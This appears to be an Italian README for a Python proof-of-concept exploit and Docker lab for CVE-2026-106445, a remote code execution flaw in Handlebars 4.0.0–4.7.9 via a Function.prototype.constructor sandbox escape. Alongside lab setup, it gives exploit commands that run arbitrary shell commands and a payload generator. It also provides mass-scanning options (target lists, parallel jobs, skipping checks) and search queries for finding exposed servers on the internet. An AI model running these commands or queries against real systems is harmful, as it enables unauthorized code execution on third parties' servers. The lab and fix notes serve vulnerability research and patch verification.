
PoC Python e laboratorio Docker per CVE-2026-106445, una RCE in Handlebars 4.0.0–4.7.9 tramite bypass di Function.prototype.constructor, con modalità check/exploit e generazione di payload per template.
PoC in Python 3 per CVE-2026-106445 — handlebars 4.0.0 – 4.7.9 — CWE-184 / CWE-1289 — evasione dalla sandbox verso Function quando allowProtoMethodsByDefault: true.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-106445 |
| GHSA | GHSA-p8wg-vrv2-v86f |
| Corretto in | 4.7.10 |
| CVSS 4.0 | 9.2 Critico (AT:P — opzioni di compilazione non sicure + template utente) |
| Marker di verifica | POCBIT-106445-OK |
lookupProperty restituisce le proprietà own prima che venga eseguita la deny list del proto. Su Function.prototype, constructor è own → si risolve in Function. Template dell'attaccante + funzione nel contesto fn → Function(attackerCode)() tramite #each / apply.
Non è un bug generico delle dipendenze npm presente su ogni sito: l'applicazione deve compilare/renderizzare template controllati dall'attaccante con allowProtoMethodsByDefault: true (impostazione predefinita in alcune configurazioni hbs) ed esporre una funzione nel contesto di rendering.
cd CVE-2026-106445
pip install -r requirements.txt
docker compose up --build -d
python poc.py -u http://127.0.0.1:13045 --mode check
python poc.py -u http://127.0.0.1:13045 --mode exploit
python poc.py -u http://127.0.0.1:13045 --mode exploit -c "id"
python poc.py -u http://127.0.0.1:13045 --mode exploit --json
python poc.py --mode payload -c "id" # print Handlebars template only
Endpoint del lab:
| Metodo | Percorso | Ruolo |
|---|---|---|
| GET | /health | versione handlebars + header del lab |
| POST | /render | JSON {"template":"..."} |
| GET | /render?template=... | opzionale (--use-get) |
Punta a qualsiasi base URL che rispecchi l'API del lab (adatta i percorsi):
python poc.py -u https://app.example --render-path /api/preview --mode exploit -c "id" --insecure
python poc.py --list targets.txt --mode exploit -j 10 --skip-check
Check usa /health quando presente, altrimenti una sonda con template benigno. Exploit invia l'intera catena di template GHSA e richiede POCBIT-106445-OK (o l'output del comando) nel campo JSON output.
| Flag | Scopo |
|---|---|
--mode exploit | Invia via POST il template malevolo, verifica il marker |
-c / --command | Shell opzionale tramite child_process (Linux: id). Predefinito: marker di ritorno JS (dimostra l'esecuzione di Function) |
--skip-check | Forza l'exploit senza il controllo di versione |
--dry-run | Stampa la stringa del template |
--use-get | GET /render?template= |
CVE di libreria — cerca applicazioni che compilano Handlebars fornito dall'utente, non handlebars.min.js su pagine statiche:
body="handlebars" && body="allowProtoMethodsByDefault"
body="/render" && body="template" && server="Node"
header="X-Powered-By: Express"
Conferma con --mode check su una presunta API di anteprima/rendering.
Solo test autorizzati. Aggiorna a [email protected]+ o disabilita allowProtoMethodsByDefault per i template non attendibili.
CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE via Function.prototype.constructor bypass (GHSA-p8wg-vrv2-v86f). PoCbit PoC + Docker lab (4.7.9), check/exploit HTTP client, GHSA template chain. Fixed 4.7.10. https://pocbit.org/pocs/cve-2026-106445